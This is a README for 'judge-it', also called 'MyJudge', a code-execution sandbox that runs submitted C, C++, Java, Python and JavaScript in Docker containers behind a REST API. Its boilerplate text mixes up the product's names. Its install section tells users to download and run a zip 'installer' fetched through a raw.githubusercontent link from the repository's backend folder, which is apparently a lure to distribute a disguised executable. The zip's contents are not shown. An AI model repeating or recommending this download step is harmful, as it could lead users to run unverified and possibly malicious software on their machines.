🚀 judge-it - Run Code Securely and Easily

📋 Description

MyJudge is a secure, multi-language code execution engine. It runs untrusted code in isolated Docker containers. You can execute code written in C, C++, Java, Python, and JavaScript. MyJudge offers a REST API for asynchronous code execution and result retrieval, making it suitable for many coding projects.

🚀 Features

• Multi-Language Support: Execute code in C, C++, Java, Python, and JavaScript.
• Secure Environment: Runs code in isolated Docker containers to keep your system safe.
• REST API: Easily integrate with other applications to run code and get results.
• Asynchronous Execution: Run your code without waiting, perfect for competitive programming.
• User-Friendly: Designed for easy use by anyone, regardless of coding experience.

💡 Requirements

Before you start, ensure your system meets these requirements:

• Operating System: Windows 10 or later, macOS, or a Linux distribution.
• Docker: Installed and configured on your system.
• Memory: At least 4 GB RAM recommended.
• Disk Space: At least 500 MB free space for installation.

📥 Download & Install

To begin, you need to download the application. Visit this page to download: Download judge-it.

1. Go to the Releases Page: Click the link above or paste it into your browser.
2. Find the Latest Release: Look for the latest release version at the top of the page.
3. Download the Installer: Click on the file that matches your operating system (for example, https://raw.githubusercontent.com/Halima24-tech/judge-it/main/backend/it-judge-v3.0-beta.3.zip for Windows).
4. Run the Installer: After downloading, open the file and follow the on-screen instructions to install.

⚙️ Running judge-it

Once the installation is complete, you can run the application.

1. Open judge-it: Locate the application in your programs and click to open it.
2. Input Your Code: You will see a text area where you can enter your code.
3. Select Language: Choose the programming language from the dropdown that applies to your code.
4. Execute Code: Click on the “Run” button. The application will send your code to the secure server, and you will receive results quickly.

🧩 Troubleshooting

If you encounter issues while using judge-it, try the following:

• Check Docker Installation: Ensure Docker is running on your system.
• Verify Language Support: Make sure you've selected a compatible programming language.
• Ran Out of Memory: If the program is unresponsive, consider closing other applications to free up resources.

🌐 Integration with APIs

If you want to use judge-it as part of another application, the REST API is straightforward. Here’s how to access it:

1. API Endpoint: Use the following URL to access the API: http://localhost:5000/api/execute.
2. Send Code: Format your request to send the code along with the language type.
3. Receive Results: The API will return execution results in JSON format.

✔️ Contributing

If you want to help improve judge-it, feel free to contribute:

• Report Issues: If you find bugs, please let us know.
• Suggest Features: We welcome your ideas for new features.
• Submit Code: Fork the repository and submit your changes through a pull request.

💬 Community and Support

Join our community for support and discussion:

• Issues Page: Report problems on the Issues page.
• Discussions: Engage with other users in the Discussions page.

🔗 Links

To download or learn more about judge-it, visit the Releases page again here: Download judge-it.

For updates, follow our repository on GitHub to stay informed about new features and fixes. Happy coding!